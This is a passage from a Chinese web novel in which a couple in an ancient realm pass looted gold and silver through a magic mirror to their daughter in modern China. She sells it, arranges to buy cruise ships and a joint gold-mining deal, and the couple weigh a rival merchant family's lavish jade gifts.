可不送不行,郴州都换了天地,想要在北凉人治下活下来,不拿出让他们满意的东西根本不可能。 也是靠着送出去的这座矿山,他们才跟北凉人渐渐熟络了起来。 结果,才安稳没几天,局势又发生了什么变化。晋州守军打进城了。 才想着北凉人跑了,矿山又是自己了,结果还没有捂热,就又被袁博文抢了去。 送给北凉人,那是不得已。晋州守军袁博文算个什么东西?不过是一个开粮行的,一点儿根基都没有,居然敢跟何家抢东西? 他意难平。 但袁博文的那些兵,那些qiang也属实让人心里发毛。 所以,昨日晚上他就去了一趟钱府。原本想着有吏部侍郎的面子,袁博文会有所顾忌,会把矿山还回来。 谁知道袁博文居然仅一个照面,就把吏部侍郎的亲侄子都给杀了! 这到底是哪儿来的愣头青?竟然一点儿人情世故都不懂!难道他不知道吏部是干什么的吗? 何有为有些乱了。他问旁边坐着大儿子何高升:“你不是以前在晋州开过一段时间的粮行吗?你与袁博文打过交道没有?” 何高升摇头:“那边的粮行,我只去过一次,都交给了底下的掌柜在管。袁博文长什么样子,我都不知道。” 何有为有些不悦。 何高升又说:“爹,这有什么好愁?北凉在这儿,咱们都好好的!他袁博文来了,还能玩出新花样吗?依我看,他喜欢钱,咱们就给他送钱,喜欢女人,咱们就给他送/女人!左右不过,就是这些!谁来都一样!投其所好,总能跟他搭上关系。等关系处好了,再说矿山的事儿,不就顺理成章吗?” 何有为哼了一声:“若是他想要矿山呢?” 何高升笑了:“他想要矿山,也不是不可以,但他能占多久,那就不好说了。” 何有为的脸色好些了。 儿子的话不无道理。眼下局势纷杂,如今北地大半都在北凉治下,朝廷的大军驻守在泗阳关,这晋州守军不过是两军夹缝里的一根小苗,哪方势力得胜,都轮不到它来做郴州的主。 别看眼下郴州是他袁博文说了算,许是明天就不是了。 “你说投其所好,你了解过袁博文吗?” 何高升点头:“我听粮行的掌柜说过,袁博文原是沔州人士,地动水患时才来的晋州,为人颇有奇才急智,好财!尤其喜欢金银玉器!只有一房妻室,年纪已逾三十,眼下正有孕在身!” 何有为眼睛一亮。 好财!只有一房老妻!且有孕在身! 好!很好! 他记住了! 第94章 第94章 有钱 这天, 袁博文到家时已经很晚了。 “怎么这么晚?吃过了吗?”谢云溪一边帮袁博文更衣,一边问道。 “吃过了,淼淼休息了吗?” 谢云溪看了看时间, “应该还没有, 你有事情要跟她说吗?” 袁博文是有话要跟袁淼说, 但看了看时间, 他打消了这个想法。 “算了,明天吧……明天, 王振声那边是不是要过来收黄金了?” “是啊,暂时定了明天上午。我已经淼淼说过了,明天上午我都在,她那边准备好后, 我就把东西传给她。” 袁博文点了点头,又叹了口气:“明天上午……我这边抽不出时间啊……” “没事儿, 你去忙,我在呢!”谢云溪安慰袁博文,“要真有我搞不定的事情,我会让谷雨去找你。” 袁博文心里一动, 拿出了一个对讲机,给谢云溪:“……频段我已经调试好了,如果事情紧急,你用这个打给我!不用谷雨跑。” “今天我测试过了,这款对讲机在郴州城内信号覆盖的范围有三四公里呢。” 即便是他在城西的军营中, 也能收到府衙的信息。 通讯的效果比说明书上的情况还要好, 大概是因为这里没有高楼大厦,城内居民宅院虽然密集,却几乎都是平房的缘故。 谢云溪顿了顿, 笑着收了。 “这些对讲机,你都发给谁?是可靠的人吗?” “应该没问题。大部分给了斥候营,还有几个给了各营的主将……” 袁博文说着,想到了张时文。 府衙那边的人也得给一个。 不过,张时文可没有其他人好打发,这人太较真。上次给了他半卷塑料薄膜,现在都没有消停。逮着空就问他,是在海外哪里买的?海外风土人情怎么样?除了塑料过滤壶等,还有没有其他新奇物件? 他哪里知道?这里的海外,他压根就没去过。 对上张时文这样的人,他也不敢多说。 “都跟他们说了,怎么用了吗?那频段可不能随意调整!” 谢云溪以前在医院上班的时候,用过对讲机。 袁博文笑着回答:“你放心,我都交待了。” 一部对讲机有十六个频段,只有频段相同的对讲机才能相互通话。发给斥候营的对讲机,就不能跟各营主将们手中的对讲机频段一样。 发放之前,他就调试好了,并且警告他们不要随便动。 这些兵对于现代化机械军/械由衷热爱,不过他们虽然喜欢折腾,但是他的话还是挺管用。 谢云溪放心了。她可不想联系袁博文的时候,被一群人听到。 “明天王振声过来后,如果说起了合作开采金矿的事情,你打给我!我应该能赶回来!” 这是大事,何家那边矿山的储量,如果真按照这边老师傅的看法,至少还能开采十年,一年产出二三十吨黄金少不了。 一吨黄金能值四亿多人民币,二三十吨,那就是上百亿rmb了。 他能不能买大船,女儿以后能不能过上好日子,就看那边的金矿了。 “好!”谢云溪答应了,她也知道这件事情很重要。 “……后院那些黄金确定这次都要给淼淼吗?” 昨天晚上,他们把后院的那些东西稍微规整了一下,将所有的金子和银子都清理了出来。 整箱的黄金共有六箱,另还有些零散的。整箱的银子也有十来箱,算起来差不多有十几万两。 至于其他的,种类繁多,时间有限,他们暂时没有动。 这些几乎都是这次清点排查郴州时,从北凉人那里搜查到的。 北凉人进到郴州城,也就小半年时间,就积攒这么惊人的财富,估计大部分都是搜刮的,小部分嘛,自然是有人送的。 反正,都是些不义之财,他们拿了,一点儿心理负担都没有。 袁博文点头:“都给她吧,免得她林林散散兑换,引起人注意。那些银子,如果王振声要,也一起卖给他。便宜一点没关系。” 谢云溪应下了。两人洗漱后歇下,袁博文一时没有睡意,说起了斥候们和各营主将们拿到对讲机时的各种好笑场景。 “你说,咱们打赢了这场战后,能不能跟他们讲讲现代的那些电啊机械啊等方面的知识?” 谢云溪笑了。这是做老师的通病吗?终于忍不住要重操旧业了? “可以啊,但他们能听懂吗?这里识字的人都没几个呢。” 即便是识了字的,绝大多数也都是奔着科举去的。科举要求的那些跟现代理工科知识大相庭径,可以说相关的非常少。 袁博文又叹了口气。 妻子的话没有说错,现代的理工知识跟这里的科举区别太大了。 他一个高中数学老师,当初考科举的时候,也很是下了一番功,才在郴州这边考中了一个举人。 听说,大顺南边江陵一带文风颇盛,人才辈出,整体实力要比北方的举子高一大截。 他这样的情况如果在江陵考举,还真不一定能中。 “你就浅显点讲吧。”谢云溪笑着说,“劳动人民的智慧可不能小觑。谁说不认识字,就一定听不懂那些理工机械等知识了?” 她把自己种菜的事情讲给袁博文听。 “……咱们只是告诉他们可以用油布搭建棚子种菜,后来有人居然把油布做的又透明又结实,比塑料薄膜差不了多少。” “也不知道他们是怎么做出来的。我过来郴州之前,去看了看,效果很是不错。他们不仅种出白菜萝卜,还种出了胡瓜。” 胡瓜,跟现代的黄瓜差不多,过去只有春夏两季能够播种。 “是吗?”袁博文也觉得惊奇。 谢云溪点点头,笑着说:“现在啊,咱们谢记粮行的蔬菜销量比以前下降了不少。” 袁博文也笑了。 晋州本地人自己能种出蔬菜了,自然不会再去买。这是好事,营养丰富了,人们身体素质也会好起来。这比赚到钱,还让他高兴。 第二天,谢云溪哪里都没去,早早就等在镜子跟前了。约上午八点左右,袁淼出现了。 谢云溪问:“王所长他们到了吗?” 袁淼:“我刚接到了他们的电话,王所长他们正在过来的路上。” “好!我现在就把东西传给你。” 谢云溪说完话后,断开了联系,收好了镜子,来到了府衙后面堆放财物的院子门口。 给了念荟和贺天凤各一个眼神。 念荟和贺天凤明白了,停下了脚步,守在院子门口。 谢云溪进去了。里面跟他们上次离开的时候一样。要传送的黄金和白银另外堆放在一边。 她启动了镜子。袁淼出现了。谢云溪把镜子照向身后堆放的箱子上。 “看到了没有?右边那些是金子,左边的十箱是银子,一共是十万两。一会儿,我全部传给你,你问问王振声,他们要不要银子?你爸说,可以便宜一点卖给他们。” “好!”袁淼同意了。即便是王振声不要银子,她留着,一点一点,也可以出掉。 一会儿后,袁淼就听到了身后传来了响动,她回过头,看到原本空荡荡的地下室多了十几个大木箱。 谢云溪也看到了传过去的东西:“爸妈这边还有不少珠宝首饰,这些都是这次在清点排查郴州时查到的东西,等我们清理完后,到时候再传给你。” 袁淼有点晕:“……好!” 郴州可是北地第一重城!这次清点排查光金子和银子就有这么多了!其他贵重物品,还能少吗? 但想到即将要买的大船价格,袁淼又冷静了下来了。 “爸爸不在吗?” “他去了军中。不过,要是有事,我可以通知到他。” 袁淼不知道王振声那边对合作开采金矿这件事情商讨到哪个地步了,想来即便是有了准确答复,具体怎么做应该不是今天讨论。 她对这块以前完全不懂,这几天即便是恶补了一番,也知道的不多。 如果要谈,只能是父亲出面。 “上次爸爸给我的清单,东西已经买到了,什么时候可以给你们?” 谢云溪想了想,军/械以及各种车辆以前都是传递到晋州那边码头旁边的大宅院里。现在他们人都在郴州,东西自然只能在郴州这边接收了。 小件的倒还好,府衙后院空着的地方多的是,大件的放在府衙后院就不合适了。 “你先别着急,等你爸回来了,我问问他。” 母女俩正说着话,袁淼听到了汽车喇叭的声响。像是就在自家门口。 “王所长他们应该到了。” 谢云溪也紧张起来:“好!你快去看看。” 袁淼在窗口看了一眼,确定是王振声等人到了,她跟谢云溪说了一声,断开了联系,收好了镜子后,这才打开地下室的门。 “王所长!” 袁淼远远就招呼上了,近到跟前后才看到了陈博川也来了,“陈秘书长!” 王振声和陈博川都笑眯眯的,陈博川向袁淼介绍跟着他们一起过来的人:“这是中/心/银行魔都总行的董经理。” 袁淼连忙伸出手:“董经理您好……快请进!” 一行人等进来了,保姆上了茶。 陈博川微笑说:“小袁,你的事情,王所长都跟我们说了。感谢你对我们的信任!” 袁淼也笑着。她很庆幸认识了陈博川等人,没有他们,自己所做有限,父母也不知道能不能够走到今天这一步来。 “孟主任本来打算今天过来的,临时有事,来不了,就让我替他了。” 袁淼有些汗颜,没想到这次还会惊动孟怀德,她赶紧说道:“谢谢孟主任!谢谢你们!陈秘书长您能来,我自己都没有想到。” 陈博川和王振声都笑了,一旁的董经理也笑容可掬。 “应该的,你们能信任我们,我们很高兴!这次呢,我们把董经理也一起叫过来了,他对黄金业务很熟悉,一会儿你跟董经理好好谈。” “好!”袁淼连忙点头,又转向另外一位:“董经理麻烦了!” 董经理笑了笑,推了推眼镜:“我听说……小袁手上的黄金有……两吨?” 袁淼也笑了下,看了看王振声和陈博川:“呃……我爸妈后来又给了我一点……” 董经理愣了愣。王振声和陈博川却秒懂了。陈博川眉眼一跳,笑着:“这样啊……那现在你手上一共有多少?” 黄金这东西,还有嫌少的吗? 多多益善! “应该是有3吨。” 袁淼接收到箱子后,自己又数了一遍,摆放的整整齐齐的金子,上面有刻字的出自祥和银楼,一块是二十两,一箱是一万两。 没有刻字有五箱,前不久她才在大福源确定过,这样的金子一块是十两,重五百克,一箱也是一万两。 总共六箱黄金,六万两,重约三吨。 董经理眼镜后面的眸子呆了呆,一会儿后脸上笑开了花:“好好好!那东西现在就在……你家吗?” 袁淼点头:“对!” 董经理咽了咽口水:“那……我们去看看?” 袁淼赶紧对陈博川和王振声说:“陈秘书长,王所长……你们要不要银子?” 现场有片刻寂静。 “要!”陈博川的声音打破了安静,笑得和蔼可亲,转头问董经理:“老董,现在的银价怎么样?” 董经理又推了推眼镜:“今天的银价一克是七点五元,不过一般收购价会低于市场挂牌价,这类物品要算折旧,还有鉴定费用等,具体要看到实物,我才能给出准确的价格。” 袁淼附和着点头,表示自己明白。心里却想到了宋颜。 上次她找宋记兑换银子,宋颜带过来的专家可没有说这么多,直接给出一克七点五元的单价。 陈博川也点了点头,又问袁淼:“小袁,你手上的银子有多少?” 袁淼还没有来得及称重,如实说:“我……还没称量,不过,银子上面都有标注份量,我数了数,一共是十万两……” 袁淼的话音刚落,董经理就呛咳了起来。 陈博川关心问道:“怎么了?老董。” 董经理涨红了脸,摆了摆手:“没事!没事!” “小袁,东西在哪里?你快带我们去看看!” 袁淼赶紧站起来:“就在地下室,这边走!” 董经理踉跄了一下,差点摔倒,幸亏旁边的王振声眼疾手快一把拉住了。 “老董,你没事吧?” “没事没事!地有点滑!” 王振声差点没忍住笑出声来。 袁淼带着他们来到地下室门口,王振声看了董经理一眼,董经理会过意来,对跟着的两个员工说:“你们就在外面等会吧。” 两个工作人员留了下来。 袁淼进去后,指着地下室中间堆放的十来个箱子说:“这六箱是黄金,那边的是银子。” 现场一时间没人说话。袁淼心里有些忐忑,看了陈博川等人一眼。 陈博川这才回过神来,笑了笑:“董经理,你看看吧。” 他刚才着实吃了一惊,没想到数万两金子和十万银子会这么随便就堆放在地下室里。 但想到袁淼爸妈现在身处何处,他又了然了。 东西肯定是刚刚才传过来的。 袁淼连忙把箱子打开了。 黄灿灿的一片,连地下室的光线都似乎变成了淡黄色,所有人的眼睛都不由得眯了一下。 董经理戴上了手套,开始鉴定了。 一会儿后,董经理说:“这块金子纯度是95%,一块重五百克。” 袁淼悬起的心落下了一半。董经理测出纯度跟大福源测量出来的一样。 “这一整箱里面的金子都跟这一块是一样吧?” “是的。” “那就不用每块都测了!”董经理笑着对所有人说。 袁淼当然没意见。 董经理又打开了另外一箱,顿了顿。 袁淼连忙说:“这五箱都是一样。这一箱不一样,这箱里面是二十两的。” 董经理直接过去打开了袁淼所指的箱子。里面是祥和银楼出品的二十两份量的黄金。 董经理鉴定过后,点了点头:“这一箱的黄金,一块重一千克,纯度是96%。” 陈博川笑着问:“怎么样?小袁,跟你鉴定的数据有出入吗?” 袁淼笑着回答:“是一样的。” 陈博川又看向董经理。董经理的眼睛依旧没有离开黄金,笑着说:“今天的金价是512元每克,一般门店兑换,会扣除折旧费和手续费。不过,小袁的情况比较特殊,这折旧费和手续费我们就不扣,我们按照510元每克的价来兑换。你们看,怎么样?” 袁淼欣喜若狂,这个价可比她在奢侈品兑换要高了。 看了看陈博川和王振声后,袁淼赶紧点头了:“好!” 即便是知道每块黄金的重量,董经理还是将所有黄金称量了一遍。 一共重达三千千克! 算出黄金兑换的金额后,袁淼赶紧把董经理请到另一堆木箱跟前。 董经理看了看后,才动手。 白银的鉴定比黄金简单多了,银锭上面都有刻字:祥和制铸,乾元年月,十两。一共是十箱,每箱一万两。 董经理只鉴定了一个银锭后,其他的每箱就只打开看了一会儿。 “小袁,你这些银子是统一制铸的,一锭重五百克,一箱是五百千克,一共十箱,我也不算折旧费和手续费,给你七点五元每克的单价,你看怎么样?” 袁淼脸上的笑一下子漾开了:“好!” 这个价跟上次兑给宋颜的一样! 董经理把总价算给袁淼看,金子和银子,一共有十五亿多! 董经理现场便转了账。 袁淼看到短消息上面的数字后,好一会儿才回过神来。 账结清了,董经理招呼工作人员把箱子全部抬上了车,临走之前给了袁淼一张名片。 送走了董经理,袁淼又把陈博川和王振声请到客厅。 陈博川说:“我听王所长说,你想买一艘能承载一千人左右的大船,是不是你爸爸妈妈那边遇到麻烦了?” 袁淼点了点头。她相信陈博川已经从王振声那里知道了她多次购买军/械和车辆等的消息,他们应该早就从这些事情上猜到了父母那边的情况。 “到底怎么回事儿?能不能跟我们说说?” 袁淼把父母到了晋州之后的事情简单说了一遍,当然,有些事情,她并没有透露。 陈博川听完后点了点头:“你爸妈那边的情况是很复杂啊!” 不用问,袁博文夫妇想要买船,肯定是在做离开当地的打算。 只是,他没有想到,他们会需要这么大的船! 一艘能承载一千多人的大船! 这说明了什么? 说明了袁博文和谢云溪夫妇虽无心卷入争斗,但是,跟随他们的人已经不是一个小数了! 第95章 第95章 送礼 说明袁博文和谢云溪夫妇虽无心卷入争斗, 但是跟随他们的人已经不是一个小数了! 身边跟随的人多了,许多事情可就由不得他们想不想了,局势会推着他们做出抉择。 陈博川想了想:“船的事情, 你们不要太着急, 大型船只不好买, 多买几艘小船, 也是一样。” 袁淼点头。这个问题,她也想清楚了。 “咱们国/家目前虽然没有企业制造出大型游轮, 但是载客量两三百人的小型游轮还是有售的。” “如果你们需要,我们现在就可以帮你们联系。” 袁淼高兴极了:“谢谢陈秘书长!我可不可以先问问我爸妈?” 陈博川和王振声都笑了。 “当然可以!如果你们决定了,跟王所长说一声,他也能帮你们联系。” “好!那……这种类型的游轮售价是多少?”袁淼有些忐忑。 虽然这几天她卖了不少东西, 可即便是加上了今天的到账,也买不起造价五六十亿的游轮。 “我打听到的是, 差不多三亿左右一艘!” 袁淼的嘴角忍不住上翘了。 三亿!她可以! 再次道谢后,袁淼又问:“……是国产的吗?” 陈博川点头,说了几个船厂的名称,他们都有制造这样类型游轮的实力, 不过,是否有现船,也只有一两家实力雄厚的船厂才有。 袁淼心里悬着的石头落了地,她觉得父母的看法多半会和自己一样。 买不了大船,就买小船!多买几艘!国产的, 物美价廉, 他们完全能够承受! “上次王所长打听到的,国外一艘能承载六百多人的中型游轮,我们后来也派人接触了, 但是,晚了一步,已经有人在我们前面与对方公司在洽谈了。” 袁淼心里已经有了替代,听到这个消息,并没有觉得失望。 “这个人,你也认识!”陈博川笑吟吟说。 袁淼愣了愣。 “是宋颜!” “你是不是也请了他在帮忙打听?” 袁淼心里一下子热乎起来,她没想到自己就提了一次,宋颜就上了心。一时间说不出心里是感动,还是别的什么,突然之间,非常想见到这个人。 “是啊!”袁淼回答。 “听说,他们已经洽谈的差不多了,你应该很快就能听到好消息了。” 袁淼笑了笑,一时间也不知道说什么才好。 宋颜,又帮了她一次。 “宋总,人很好……” 陈博川笑起来:“你这个评价……很特别啊!” 王振声也笑了起来。 袁淼不知道他们在笑什么,便陪着一起干干笑。心里却在想宋颜。如果这件事情是真的,她一定得好好感激他。 是送礼,还是吃饭?这些好像都不太对。 她想到了宋颜那天晚上说的话,脸上顿时有些热了。 笑过后,陈博川又说:“上次你问的……合作开采金矿的事情,我们也讨论过……” 袁淼连忙回过神来,打起了精神。 陈博川点了点头:“……同意了!不过具体怎么合作,你问问你爸妈,看看他们什么时候有时间,我们好好谈一谈!” 袁淼连忙点头。 惊喜接二连三! 只要上面答应合作,父母会省掉很多事。至于合作会牵扯到利润分摊,那座金矿原本就不是他们的! 何家都能干出倒卖军粮的事儿,足以说明他们不是好东西! 至于北凉人,他们与大顺,那是敌国。大顺的资源,估计所有大顺子民都会不甘心送给北凉人。 金矿落到这两家手上,真还不如让他们和这边合作。哪怕在利润分摊上,他们分到的不多,也比落到何家和北凉人手上好。 能开采十几年的矿山,非同小可,她对这块,几乎一无所知,这种事情只能是父母出面。 “谢谢陈秘书长!我问过我爸妈后,马上给你们答复!” 袁淼知道,虽然她现在就能联系到母亲谢云溪,但是母亲已经有六个多月的身孕了,恐怕对金矿的事情知道的也并不多。 陈博川和王振声看起来心情很好,又闲说了些话后,起身离开了。 袁淼一直目送他们的车走远后,才回到地下室,拿出了镜子。 谢云溪一直等着,见到袁淼便问:“怎么样?” 袁淼的心情超好,她点了点头:“黄金和银子,我都卖了!” 她把交易的单价和最后的总价告诉了谢云溪。 谢云溪也松了一口气。 一下子就到账了十五六亿,离他们买船的目标又近了一步。等她把后院的那些东西清理完后,捡些贵重传给女儿,想来要不了就能筹齐二三十亿。 那天晚上她虽然只顾着清点金子和银子,但是对其他东西也有印象,那里面古玩字画不多,各种各样的宝石可不少,还有翡翠玉石等,这些都是能卖出高价的。 “今天陈博川也来了,还有一位中心银行的董经理……”袁淼把交易的过程告诉了谢云溪。 谢云溪点头:“银行是也有贵重金属回收业务,不过,他们的条件比较苛刻。这次应该是孟主任他们帮了忙。” 否则的话,交易不会这么顺利。 袁淼心里知道,兑换金银这类事情,她不是第一次做了,以前都没有去银行,也是因为银行回收贵重金属的条件很多。 不过,这次董经理给她留下了一张名片,言明了,以后可以直接去找他。 “董经理走了之后,陈秘书长主动说了船的事情……”袁淼看着谢云溪,“我把你们情况,也告诉他……” 谢云溪笑了:“没事!咱们都买了这么多东西了,他们肯定已经猜到了。” 袁淼松了一口气,她还担心自己说了不该说的事情,会给父母带来麻烦。 不过,她内心又觉得,这些告诉陈博川和王振声,也并无不好。他们早就知道父母的处境了,对两边世界的互通也并没有反对,反而是持支持和鼓励的态度。 “还说了什么?”谢云溪又问。 “陈秘书长说,大型船只的事情有点麻烦,但是他能帮我们联系到中小型游轮,两三百人左右承载量的游轮,国内就有,大概三亿左右就能买下一艘了。” “真的吗?“谢云溪也很意外。 如果真能买到两三百人承载量的小型游轮,那买下五六艘这样的船和一艘载客量一千多人的大型游轮有什么区别? 售价三亿多,五六艘也就十几二十亿,可比六十六亿低多了。他们完全能够承受! “要不,你跟爸爸商量一下,咱们就买这种?” “好,等他回来了,我问他!”谢云溪也觉得袁博文一定会同意。 袁淼还没有联系宋颜,不知道他那边具体是什么情况,便没有把另一艘能承载六百多人的游轮的事情告诉谢云溪。 船的事情有望解决,谢云溪觉得整个人轻松了一大截。 “……金矿的事情,陈秘书长和王所长有没有提起?” 袁淼点头:“他们也说了,上面答应和我们一起合作共同开采,但是具体怎么合作,他希望能够和你们面谈。” 谢云溪高兴得合不拢嘴了:“好!等你爸回来了,我告诉他!这些事情,我也不懂。” 袁淼连忙把自己这段时间收集和看过的资料拿过来:“……这些都是我在网上搜索查到的,有关开采金矿的信息,你们看看,有没有用?” 她把资料传了过去。 谢云溪翻了翻:“应该有用,你爸回来,我给他看。” 袁淼笑了。谢云溪的心情也很好,跟袁淼说完话后,她就带着念荟和贺天凤来到了枫叶巷。 姜云枝和蒋新月已经吃过药了,除了有些轻微症状以外,其他并无异常。谢云溪询问过后,又交待了一番,让她们好好休息。 宋婆婆心有余悸,离开了姜云枝和蒋新月所住的房间后,她低声问:“夫人,她们早上吃过药后,到现在都没有情况,真的不要紧吗?” 谢云溪愣了愣,笑着说:“老夫人不用担心,她们并不是没有反应,只是较轻微罢。” 宋婆婆愣住了。 谢云溪又说:“我刚才看过了,她们都已经见红……”虽然也出现腹痛情况,但是症状也很轻微。 宋婆婆想到自己以前见过的那一幕,一碗药下去,不到一个时辰,喝药的人就疼得在床上打滚了,那血像是开了口子的水渠,一盆接着一盆倒。 同样是打/胎,可眼下的情况,完全不一样。 自打屋里的两个丫头吃过药后,她的心就提了起来,盆子都准备好了,但那两个丫头却跟没事人一样。 过了一个多时辰,她们也就脸白了些,说肚子有点疼,虽然是落了红,但那一点儿跟寻常月事期间差不多,哪儿像是要落胎的样子? 分明就是……没起效果…… “真没事儿吗?要不要请郎中过来看看?” 话一出口,宋婆婆就后悔了。这几天,她看得分明,袁夫人虽然是一介女流,但却在治病医人方面独有一套。 院子里的这些丫头,好些个她都觉得以后难得好了,可只几天,那些丫头的情况就完全不一样了。 尤其沈小姐,从营帐里抬出来的时候,她都觉得就这一两天的事儿,连城内素有声望的郎中都摇头了。 可经过袁夫人的医治后,沈小姐的情况一天比一天好,那屋里也不再是臭气熏天了。 这做郎中的,哪一个想被同行比下去?她刚才那些话分明就是不相信人家! 宋婆婆想打自己的嘴巴了。 谢云溪倒没多想,她一直认为中医和西医是两个不同的体系,各有优劣,说不上谁好谁坏。 “暂时不用,她们现在的情况还好,晚些时候可能会出血更多。若是……”谢云溪看向桌子上的茶盏,“出血有茶盏里的茶水那么多,您让门口的护院来府衙找我。” 她给姜云枝和蒋新月吃的是西药,与这里常用的堕/胎药完全不同,把郎中叫过来了,她不知道他们会看出什么。 这里常用的打/胎药麝香和藏红花等中药药性很猛,服用后估计症状也会很明显。 但是西药米非司酮和米索前列醇使用后症状就轻微多了。 原本,谢云溪还有些担心,蒋新月的孕期有点长了,超过药/流服用的最佳时期,但她后来看过蒋新月的B超影像,她的胎囊发育并不大。这才敢给她用药。 姜云枝的孕期则刚好在用药的规定时间内。她们都符合用药指征,一般情况,应该不会有事。 药物流/产较为异常的症状有剧烈腹痛和大量出血,一般出血量若是超过了一百毫升,会视为出血量过多。 一百毫升,可不就跟桌子上的茶盏容量差不多? “哎!”宋婆婆应下了,看了看桌子上的茶盏,又看了看底下的盆子,脸色依旧不大好看。 谢云溪没有留意,在枫叶巷呆了一会后,便回了府衙。 刚要进门,他们一行人与匆匆出来的谷雨差点撞了正着。 谢云溪见谷雨抱了好几个礼盒样的东西,叫住了他:“什么事儿?这么着急。” 谷雨哎呦叫了一声,想擦擦额头上的汗,手上的礼盒差点掉了 贺天凤见状,连忙把他手中的礼盒接了过去。 谷雨苦着脸说:“夫人,刚才府衙来了客人,等了您好一会儿,这会人刚走!东西就是他趁我不注意留下的!” 谢云溪笑着问:“是谁?” 她来郴州之后,接了好几张帖子,也见了几波郴州本地富家太太夫人们打发过来的婆子丫鬟,都是想见她,或是想请她过去参加活动,借此认识。 郴州的情况不明,清点排查还没有完成,她不想生事,全部都推了。 “是城东紫云巷何府的何夫人,他家以前在晋州开过粮行……” “何记粮行?!”谢云溪吃了一惊。 “就是他家!夫人还记得?” “怎么不记得?又没过去多久。” 谷雨苦笑。 他对这个何家粮行,也记忆犹新。当初老爷夫人发现何记的粮食有问题后,让他来郴州调查,刚好遇到郴州城破,北凉人进城,那次要不是和霍大哥在一起,这郴州城他还不一定能出的来。 “何家过来的是谁?” “就是以前何记粮行的掌柜!现在他是何家府上的管事了。他说见过老爷和夫人,知道老爷和夫人来了郴州之后,一直想过来拜见,只是不得空。他家老爷夫人得知后,便让他过来了,他们对老爷夫人也十分钦佩。” 谢云溪笑了笑。 何掌柜说的这种场面话,听听就算了,绝对不能当真。当初何家在晋州开粮行,她的确进去转了转,但没有看到店里的掌柜。 倒是袁博文见过何记的掌柜,那是在捐粮的动员大会上。何记的掌柜参加了,却以粮食被打劫了为由,并没有参与捐赠。谢记这边则是袁归出动,承担了大半捐赠任务。 “我陪着说了一会话,他得知老爷夫人都不府衙,瞅了我没留意,竟然丢下东西就走了。” 谷雨说起这件事情,心里都不爽。 他对何记粮行上下都没有好印象,要不是怕耽误事,绝对不会陪着说这么多话,结果一个不留神,竟然还让他们留下东西。 以前老爷夫人就说过,不能随便收礼。他赶出去,就是要退礼的。 谢云溪心里好笑。这何家算是被谷雨恨上了。 “这就是何掌柜留下的东西吗?” “是啊,夫人,您可得给我做主,东西真不是我收下的。” “我知道了,放下吧。” 谢云溪想到何家的矿山,这些礼大概是先头戏,后面多半还有。 贺天凤放下了礼盒。 谢云溪看了看。 大小四五个礼盒。也不知道里面是什么。 不过,何家是北地数得着的富商,想来送给他们的礼不会薄。 谢云溪对念荟说:“打开看看。” 她很好奇,何家会送什么。城北的何家矿山,可是一年能带来上百亿的收益呢。 念荟打开礼盒,谢云溪扫了一眼,怔住了。 一串晶莹剔透,浓艳欲滴的翡翠项链静静躺在红色锦盒里,整串项链雍容华贵,典雅大气。颗颗玉石色正饱满,水润通透,大小一模一样。美的惊心动魄。 竟然是一串极其罕见的帝王绿项链! 谢云溪好一会才回过神来。 果然是大手笔! 她想到了袁淼在魔都珠宝展会上卖出的金镶玉璎珞,那上面的翡翠似乎还没有眼前的这一串项链的颜色浓郁,块头跟眼前的这串项链上一颗珠子差不多大小,最后竟然卖出三百多万的高价。 然而,即便是这个价,也是因为有人故意估低价格,实际的价格比三百万高多了。 整个璎珞实际估价在六百万到一千二百万之间。 第96章 第96章 值得 而那支璎珞最具价值的部分, 就是上面的帝王绿翡翠了。当场还引起了不小的轰动。 不过指头大小的一块帝王绿就能卖出好几百万的高价了。眼前的项链,这般大小的珠子就有五十四颗!整串项链的价值不言而喻。 谢云溪好不容易才将目光挪开。 “这个,也打开来看看。” 念荟闻言, 又打开了一个礼盒。 “是手镯呢!夫人快看!颜色跟项链一模一样!这是一块玉石出来的吧?” 谢云溪已经说出话了。眼前的礼盒里面竟然是一个翡翠手镯, 颜色与第一个礼盒里面的翡翠项链一模一样, 通透浓艳, 也是罕见的帝王绿。 她知道北地有好几个州县盛产玉石和各种宝石,但是帝王绿她见过的并不多。今天, 倒是开了眼界。 看来,这何家不是一般的有钱。 谢云溪干脆让念荟把其他礼盒都打开了。 第三个礼盒略小,里面是一对翡翠耳坠,数十璀璨夺目的宝石环绕着中间一块浓艳欲滴的翡翠玉牌, 雍容典雅,色泽与前面两个礼盒中的翡翠一模一样。应该是同一块玉石雕琢出来的。 第四个礼盒里面却是个长筒样物件, 旁边还有几个附件。 念荟没见过,好奇问:“这是什么?” 谢云溪刚开始也不知道,拿起来看了看后,明白了, 失笑说:“这是好东西,你们老爷见了,一定会喜欢。” 等到袁博文回来,谢云溪笑着问:“你猜今天谁来过府衙了?” 袁博文想了想,笑了:“我猜不到, 是晋州那边谁过来了吗?” 谢云溪摇头:“是何家来人了, 还给你我送了礼物!” 袁博文愣了愣,笑着说:“这是硬的不行,来软的了!” 谢云溪不明究竟, 袁博文坐下后,手揽上谢云溪已经并不苗条的腰身。 “前天,江虎清点排查郴州的时候,遇到了阻拦,吏部侍郎钱永辉的哥哥钱永康不仅不配合清点排查,还纠结了不少护院家丁与巡防营的人对峙,我开了枪,他们才退。” “事后追查,那钱永康分明就是被何有为鼓动,当了枪使。我还以为这件事情后,何家会消停一阵子,没想到这么快就上门了。” 谢云溪解惑:“城东矿山的利润太大了,他们不甘心。” 袁博文赞同,一年上百亿的收益,连他都眼热,何家不甘心,情理之中。 不过,如果没有何家把矿山送给北凉人这件事情,他即便十分眼热,也不会非要弄到手。 md,送给北凉人,何家心甘情愿,轮到他了,何家就不甘心了! 这叫什么? 典型的窝里横!赤/裸/裸的瞧不上,把他们不当回事!属实叫人不爽。 “哎!都送了什么?值钱吗?”袁博文问。 谢云溪抬了抬下巴:“就在那边桌子上,你去看看。” 袁博文起身,一过去便被几个打开的礼盒晃花了眼:“哟!这些……都是帝王绿?!” “应该是的。”谢云溪说,“我上次给淼淼传过一支金镶玉璎珞,上面的玉石颜色好像还没有这么浓郁,后来淼淼在珠宝展会上出售时,有好几个专家都认为是帝王绿。” 这件事情袁博文也有印象,他眼睛发亮:“这何家确实有钱啊!这些只怕是有好几个亿了!” 谢云溪笑着没接话。她心里觉得,这些加起来,只怕是有上十亿了。 “何家过来的时候,我不在府衙。谷雨陪着说了一会儿话。何家以前何记粮行的那个掌柜丢下东西就走了。这是怕我们不收呢!要不要再送回去?” “送回去干什么?他们敢送,我就敢收!” 薅何家的羊毛,他一点儿都不觉得难为情。倒是对何家到底有多少家底好奇起来。 一出手就是三件套的帝王绿首饰! 这何家不是一般的有钱!不愧是北地数得着的富商! 